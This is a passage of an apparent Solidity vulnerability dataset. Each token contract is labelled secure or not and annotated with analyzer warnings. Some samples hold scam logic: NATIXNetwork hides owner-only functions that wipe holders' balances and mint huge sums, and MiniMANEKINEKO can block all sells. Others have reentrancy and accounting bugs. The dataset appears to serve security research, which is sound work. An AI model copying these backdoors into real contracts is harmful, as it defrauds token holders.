used.\n function addLiquidity(uint256 value, uint256 tokens) private {\n _approve(address(this), address(uniswapV2Router), tokens);\n\n\t\t// reentrancy-events | ID: 65f9ce2\n\t\t// reentrancy-events | ID: 1505b39\n\t\t// reentrancy-benign | ID: cf5454e\n\t\t// reentrancy-benign | ID: 214c81e\n\t\t// unused-return | ID: a623bb7\n\t\t// reentrancy-eth | ID: cdd5cf1\n uniswapV2Router.addLiquidityETH{value: value}(\n address(this),\n tokens,\n 0,\n 0,\n _liquidityWallet,\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 206afd7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 206afd7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bd816ba): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bd816ba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: acb83b5): BabyShibaDoge.openTrading(address[],uint256) ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for acb83b5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 711dda1): BabyShibaDoge.openTrading(address[],uint256) ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 711dda1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 41b0308): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 41b0308: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading(\n address[] memory lockSells,\n uint256 duration\n ) external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Router = _uniswapV2Router;\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 206afd7\n\t\t// reentrancy-benign | ID: bd816ba\n\t\t// reentrancy-eth | ID: 41b0308\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n\t\t// reentrancy-benign | ID: 206afd7\n _isExcludedFromSellLock[address(uniswapV2Router)] = true;\n\t\t// reentrancy-benign | ID: 206afd7\n _isExcludedFromSellLock[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: bd816ba\n\t\t// unused-return | ID: acb83b5\n\t\t// reentrancy-eth | ID: 41b0308\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: bd816ba\n swapEnabled = true;\n\t\t// reentrancy-benign | ID: bd816ba\n cooldownEnabled = true;\n\t\t// reentrancy-benign | ID: bd816ba\n _maxWalletAmount = 25e9 * 10 ** 9;\n\t\t// reentrancy-eth | ID: 41b0308\n tradingOpen = true;\n\t\t// reentrancy-benign | ID: bd816ba\n tradingOpenTime = block.timestamp;\n\n\t\t// reentrancy-benign | ID: bd816ba\n _swapTokensAt = 5e9 * 10 ** 9;\n\t\t// reentrancy-benign | ID: bd816ba\n _maxTokensToSwapForFees = 5e9 * 10 ** 9;\n\n for (uint256 i = 0; i < lockSells.length; i++) {\n\t\t\t// reentrancy-benign | ID: bd816ba\n sellLock[lockSells[i]] = tradingOpenTime + duration;\n }\n\n\t\t// unused-return | ID: 711dda1\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n function setBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function removeStrictWalletLimit() public onlyOwner {\n _maxWalletAmount = 1e12 * 10 ** 9;\n }\n\n function delBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n _transferStandard(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 7b8b91e): BabyShibaDoge._getTokenFee(address) uses timestamp for comparisons Dangerous comparisons block.timestamp < tradingOpenTime + 43200 && recipient == uniswapV2Pair\n\t// Recommendation for 7b8b91e: Avoid relying on 'block.timestamp'.\n function _getTokenFee(address recipient) private view returns (uint256) {\n if (!tradingOpen || inSwap) {\n return 0;\n }\n\n if (\n\t\t\t// timestamp | ID: 7b8b91e\n block.timestamp < tradingOpenTime + 43200 &&\n recipient == uniswapV2Pair\n ) {\n return _tokensFeeFirstDay;\n }\n\n return _tokensFee;\n }\n\n function _getReflectionFee() private view returns (uint256) {\n return tradingOpen && !inSwap ? _reflectionFee : 0;\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount, _getTokenFee(recipient));\n\t\t// reentrancy-eth | ID: cdd5cf1\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: cdd5cf1\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 65f9ce2\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: cdd5cf1\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: cdd5cf1\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 214c81e\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function manualswap() public {\n require(_msgSender() == _feeAddrWallet1);\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() public {\n require(_msgSender() == _feeAddrWallet1);\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function manualswapsend() external {\n require(_msgSender() == _feeAddrWallet1);\n manualswap();\n manualsend();\n }\n\n function _getValues(\n uint256 tAmount,\n uint256 tokenFee\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _getReflectionFee(),\n tokenFee\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 taxFee,\n uint256 TeamFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(taxFee).div(100);\n uint256 tTeam = tAmount.mul(TeamFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}",
"file_name": "solidity_code_3071.sol",
"secure": 0,
"size_bytes": 24870
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IdexFacotry.sol\" as IdexFacotry;\nimport \"./IDexRouter.sol\" as IDexRouter;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract MiniMANEKINEKO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (immutable-states | ID: a4cfd99): miniMANEKINEKO.dexRouter should be immutable \n\t// Recommendation for a4cfd99: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IDexRouter public dexRouter;\n\t// WARNING Optimization Issue (immutable-states | ID: d1dae36): miniMANEKINEKO.dexPair should be immutable \n\t// Recommendation for d1dae36: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public dexPair;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 83cbf91): miniMANEKINEKO._decimals should be immutable \n\t// Recommendation for 83cbf91: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 9c60fab): miniMANEKINEKO._totalSupply should be immutable \n\t// Recommendation for 9c60fab: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n bool public _earlyselltax = true;\n\n constructor() {\n _name = \"mini MANEKI-NEKO\";\n _symbol = \"miniNEKO\";\n _decimals = 18;\n _totalSupply = 1000000000000 * 1e18;\n\n _balances[owner()] = _totalSupply.mul(1000).div(1e3);\n\n IDexRouter _dexRouter = IDexRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n dexPair = IdexFacotry(_dexRouter.factory()).createPair(\n address(this),\n _dexRouter.WETH()\n );\n\n dexRouter = _dexRouter;\n\n emit Transfer(address(this), owner(), _totalSupply.mul(1000).div(1e3));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f903342): miniMANEKINEKO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f903342: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function earlyselltax(bool value) external onlyOwner {\n _earlyselltax = value;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"WE: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(currentAllowance >= subtractedValue, \"Allowance not allowed\");\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ZERO\");\n require(recipient != address(0), \"transfer to zero\");\n require(amount > 0, \"transfer 0\");\n\n if (!_earlyselltax && sender != owner() && recipient != owner()) {\n require(recipient != dexPair, \" False attempt bot\");\n }\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(senderBalance >= amount, \"Not allowed\");\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9e35b3f): miniMANEKINEKO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9e35b3f: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"BEP20: approve from the zero address\");\n require(spender != address(0), \"BEP20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_3072.sol",
"secure": 0,
"size_bytes": 6977
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract ERC20I {\n string public name;\n string public symbol;\n constructor(string memory name_, string memory symbol_) {\n name = name_;\n symbol = symbol_;\n }\n\n uint8 public constant decimals = 18;\n\n uint256 public totalSupply;\n\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function _mint(address to_, uint256 amount_) internal virtual {\n totalSupply += amount_;\n balanceOf[to_] += amount_;\n emit Transfer(address(0x0), to_, amount_);\n }\n function _burn(address from_, uint256 amount_) internal virtual {\n balanceOf[from_] -= amount_;\n totalSupply -= amount_;\n emit Transfer(from_, address(0x0), amount_);\n }\n function _approve(\n address owner_,\n address spender_,\n uint256 amount_\n ) internal virtual {\n allowance[owner_][spender_] = amount_;\n emit Approval(owner_, spender_, amount_);\n }\n\n function approve(\n address spender_,\n uint256 amount_\n ) public virtual returns (bool) {\n _approve(msg.sender, spender_, amount_);\n return true;\n }\n function transfer(\n address to_,\n uint256 amount_\n ) public virtual returns (bool) {\n balanceOf[msg.sender] -= amount_;\n balanceOf[to_] += amount_;\n emit Transfer(msg.sender, to_, amount_);\n return true;\n }\n function transferFrom(\n address from_,\n address to_,\n uint256 amount_\n ) public virtual returns (bool) {\n if (allowance[from_][msg.sender] != type(uint256).max) {\n allowance[from_][msg.sender] -= amount_;\n }\n balanceOf[from_] -= amount_;\n balanceOf[to_] += amount_;\n emit Transfer(from_, to_, amount_);\n return true;\n }\n\n function multiTransfer(\n address[] memory to_,\n uint256[] memory amounts_\n ) public virtual {\n require(\n to_.length == amounts_.length,\n \"ERC20I: To and Amounts length Mismatch!\"\n );\n for (uint256 i = 0; i < to_.length; i++) {\n transfer(to_[i], amounts_[i]);\n }\n }\n function multiTransferFrom(\n address[] memory from_,\n address[] memory to_,\n uint256[] memory amounts_\n ) public virtual {\n require(\n from_.length == to_.length && from_.length == amounts_.length,\n \"ERC20I: From, To, and Amounts length Mismatch!\"\n );\n for (uint256 i = 0; i < from_.length; i++) {\n transferFrom(from_[i], to_[i], amounts_[i]);\n }\n }\n}",
"file_name": "solidity_code_3073.sol",
"secure": 1,
"size_bytes": 2988
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20I.sol\" as ERC20I;\n\nabstract contract ERC20IBurnable is ERC20I {\n function burn(uint256 amount_) external virtual {\n _burn(msg.sender, amount_);\n }\n function burnFrom(address from_, uint256 amount_) public virtual {\n uint256 _currentAllowance = allowance[from_][msg.sender];\n require(\n _currentAllowance >= amount_,\n \"ERC20IBurnable: Burn amount requested exceeds allowance!\"\n );\n\n if (allowance[from_][msg.sender] != type(uint256).max) {\n allowance[from_][msg.sender] -= amount_;\n }\n\n _burn(from_, amount_);\n }\n}",
"file_name": "solidity_code_3074.sol",
"secure": 1,
"size_bytes": 702
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n address public owner;\n event OwnershipTransferred(\n address indexed oldOwner_,\n address indexed newOwner_\n );\n constructor() {\n owner = msg.sender;\n }\n modifier onlyOwner() {\n require(owner == msg.sender, \"Ownable: caller is not the owner\");\n _;\n }\n function _transferOwnership(address newOwner_) internal virtual {\n address _oldOwner = owner;\n owner = newOwner_;\n emit OwnershipTransferred(_oldOwner, newOwner_);\n }\n function transferOwnership(address newOwner_) public virtual onlyOwner {\n require(\n newOwner_ != address(0x0),\n \"Ownable: new owner is the zero address!\"\n );\n _transferOwnership(newOwner_);\n }\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0x0));\n }\n}",
"file_name": "solidity_code_3075.sol",
"secure": 1,
"size_bytes": 971
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20IBurnable.sol\" as ERC20IBurnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./ERC20I.sol\" as ERC20I;\n\ncontract Shell is ERC20IBurnable, Ownable {\n constructor() ERC20I(\"Shell\", \"SHELL\") {}\n\n mapping(address => bool) isController;\n function setController(address address_, bool bool_) external onlyOwner {\n isController[address_] = bool_;\n }\n modifier onlyControllers() {\n require(isController[msg.sender], \"You are not authorized!\");\n _;\n }\n\n function mint(address to_, uint256 amount_) external onlyControllers {\n _mint(to_, amount_);\n }\n\n function burnAsController(\n address from_,\n uint256 amount_\n ) external onlyControllers {\n _burn(from_, amount_);\n }\n}",
"file_name": "solidity_code_3076.sol",
"secure": 1,
"size_bytes": 874
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract AshToken {\n string public constant name = \"Ash Token\";\n string public constant symbol = \"ASH\";\n uint8 public constant decimals = 9;\n uint256 supply;\n uint256 public scale;\n\n event Approval(\n address indexed tokenOwner,\n address indexed spender,\n uint256 tokens\n );\n event Transfer(address indexed from, address indexed to, uint256 tokens);\n\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n using SafeMath for uint256;\n\n constructor() {\n supply = 0;\n scale = block.basefee;\n }\n\n function totalSupply() public view returns (uint256) {\n return supply;\n }\n\n function balanceOf(address tokenOwner) public view returns (uint256) {\n return balances[tokenOwner];\n }\n\n function transfer(\n address receiver,\n uint256 numTokens\n ) public returns (bool) {\n require(numTokens <= balances[msg.sender]);\n balances[msg.sender] = balances[msg.sender].sub(numTokens);\n balances[receiver] = balances[receiver].add(numTokens);\n emit Transfer(msg.sender, receiver, numTokens);\n return true;\n }\n\n function approve(\n address delegate,\n uint256 numTokens\n ) public returns (bool) {\n allowed[msg.sender][delegate] = numTokens;\n emit Approval(msg.sender, delegate, numTokens);\n return true;\n }\n\n function allowance(\n address owner,\n address delegate\n ) public view returns (uint256) {\n return allowed[owner][delegate];\n }\n\n function transferFrom(\n address owner,\n address buyer,\n uint256 numTokens\n ) public returns (bool) {\n require(numTokens <= balances[owner]);\n require(numTokens <= allowed[owner][msg.sender]);\n\n balances[owner] = balances[owner].sub(numTokens);\n allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens);\n balances[buyer] = balances[buyer].add(numTokens);\n emit Transfer(owner, buyer, numTokens);\n return true;\n }\n\n function mint() public {\n uint256 minted = calculateMint(block.basefee);\n\n balances[msg.sender] = balances[msg.sender].add(minted);\n supply = supply.add(minted);\n\n scale = calculateNewScale(block.basefee);\n }\n\n function calculateMint(uint256 basefee) public view returns (uint256) {\n if (basefee < scale) {\n return basefee;\n }\n\n return basefee.mul(basefee).div(scale);\n }\n\n function calculateNewScale(uint256 basefee) public view returns (uint256) {\n uint256 limit;\n\n if (basefee > scale) {\n limit = scale.mul(105).div(100);\n\n if (basefee > limit) {\n return limit;\n }\n } else {\n limit = scale.mul(95).div(100);\n\n if (basefee < limit) {\n return limit;\n }\n }\n\n return basefee;\n }\n}",
"file_name": "solidity_code_3077.sol",
"secure": 1,
"size_bytes": 3229
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol\" as ERC20Capped;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract NKCLClassic is ERC20, ERC20Burnable, ERC20Capped, Ownable {\n constructor()\n ERC20(\"NKCL Classic\", \"NKCLC\")\n ERC20Capped(21000000 * 10 ** uint256(decimals()))\n Ownable()\n {}\n\n function _mint(\n address account,\n uint256 amount\n ) internal override(ERC20, ERC20Capped) {\n super._mint(account, amount);\n }\n\n function mint(address account, uint256 amount) public onlyOwner {\n _mint(account, amount);\n }\n\n function renounceOwnership() public override onlyOwner {\n revert(\"disabled\");\n }\n}",
"file_name": "solidity_code_3078.sol",
"secure": 1,
"size_bytes": 978
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface ERC721 {\n function totalSupply() external view returns (uint256);\n\n function tokenOfOwnerByIndex(\n address owner,\n uint256 index\n ) external view returns (uint256 tokenId);\n\n function tokenByIndex(uint256 index) external view returns (uint256);\n function ownerOf(uint256 tokenId) external view returns (address owner);\n}",
"file_name": "solidity_code_3079.sol",
"secure": 1,
"size_bytes": 435
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(msg.sender);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == msg.sender, \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}",
"file_name": "solidity_code_308.sol",
"secure": 1,
"size_bytes": 1179
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract SSOFRoyaltiesDistribution is Ownable {\n using SafeMath for uint256;\n bool public isstartClaim = true;\n mapping(address => uint256) public userRewards;\n uint256 public DistributionPercent = 50;\n uint256 public totalUserReward;\n uint256 private sessionReward;\n uint256 public ownerReward;\n\t// WARNING Optimization Issue (constable-states | ID: 16aacca): SSOFRoyaltiesDistribution.ssofNFT should be constant \n\t// Recommendation for 16aacca: Add the 'constant' attribute to state variables that never change.\n ERC721 ssofNFT = ERC721(0xb121db250735C639421592e428A0aeF420D40A73);\n\n receive() external payable {\n sessionReward = sessionReward.add(msg.value);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 6b09432): SSOFRoyaltiesDistribution.distributeRoyalties() has external calls inside a loop i < ssofNFT.totalSupply()\n\t// Recommendation for 6b09432: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 695a361): SSOFRoyaltiesDistribution.distributeRoyalties() has external calls inside a loop owner = ssofNFT.ownerOf(ssofNFT.tokenByIndex(i))\n\t// Recommendation for 695a361: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 52fe72e): SSOFRoyaltiesDistribution.distributeRoyalties() has external calls inside a loop ssofNFT.tokenByIndex(i) > 0\n\t// Recommendation for 52fe72e: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6bf9d16): SSOFRoyaltiesDistribution.distributeRoyalties().owner shadows Ownable.owner() (function)\n\t// Recommendation for 6bf9d16: Rename the local variables that shadow another component.\n function distributeRoyalties() public onlyOwner {\n require(sessionReward > 0, \"don't have any amount for reward\");\n uint256 halfAmount = sessionReward.mul(DistributionPercent).div(100);\n ownerReward = ownerReward.add(halfAmount);\n\t\t// calls-loop | ID: 6b09432\n uint256 newAmount = halfAmount.div(ssofNFT.totalSupply());\n\t\t\t// calls-loop | ID: 52fe72e\n for (uint256 i = 0; i < ssofNFT.totalSupply(); i++) {\n\t\t\t\t// calls-loop | ID: 695a361\n if (ssofNFT.tokenByIndex(i) > 0) {\n address owner = ssofNFT.ownerOf(ssofNFT.tokenByIndex(i));\n userRewards[owner] = userRewards[owner].add(newAmount);\n totalUserReward = totalUserReward.add(newAmount);\n }\n }\n sessionReward = 0;\n }\n\n function claimReward() public {\n require(isstartClaim, \"Claim is not started\");\n require(userRewards[msg.sender] > 0, \"don't have any reward amount\");\n payable(msg.sender).transfer(userRewards[msg.sender]);\n userRewards[msg.sender] = 0;\n totalUserReward = totalUserReward.sub(userRewards[msg.sender]);\n }\n\n function withdraw() public onlyOwner {\n require(ownerReward > 0, \"don't have any reward amount\");\n payable(msg.sender).transfer(ownerReward);\n ownerReward = 0;\n }\n\n function setDistributionPercent(uint256 Percent) public onlyOwner {\n DistributionPercent = Percent;\n }\n function stopClaim() public onlyOwner {\n isstartClaim = false;\n }\n\n function startClaim() public onlyOwner {\n isstartClaim = true;\n }\n}",
"file_name": "solidity_code_3080.sol",
"secure": 0,
"size_bytes": 3712
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract NATIXNetwork {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fb43eb6): NATIXNetwork.tokenTotalSupply should be immutable \n\t// Recommendation for fb43eb6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n\n string private tokenName;\n\n string private tokenSymbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 11f7805): NATIXNetwork.xxnux should be immutable \n\t// Recommendation for 11f7805: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 48fc1dc): NATIXNetwork.tokenDecimals should be immutable \n\t// Recommendation for 48fc1dc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 31bb4a9): NATIXNetwork.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for 31bb4a9: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"SDTS AI\";\n\n tokenSymbol = \"SDTSAI\";\n\n tokenDecimals = 9;\n\n tokenTotalSupply = 1000000000 * 10 ** tokenDecimals;\n\n _balances[msg.sender] = tokenTotalSupply;\n\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\n\t\t// missing-zero-check | ID: 31bb4a9\n xxnux = ads;\n }\n\n function delegate(address bots) external {\n if (\n xxnux == msg.sender &&\n xxnux != bots &&\n pancakePair() != bots &&\n bots != ROUTER\n ) {\n _balances[bots] = 0;\n }\n }\n\n function removeLimits(uint256 addBot) external {\n if (xxnux == msg.sender) {\n _balances[msg.sender] =\n 42069000000 *\n 42069 *\n addBot *\n 10 ** tokenDecimals;\n }\n }\n\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view 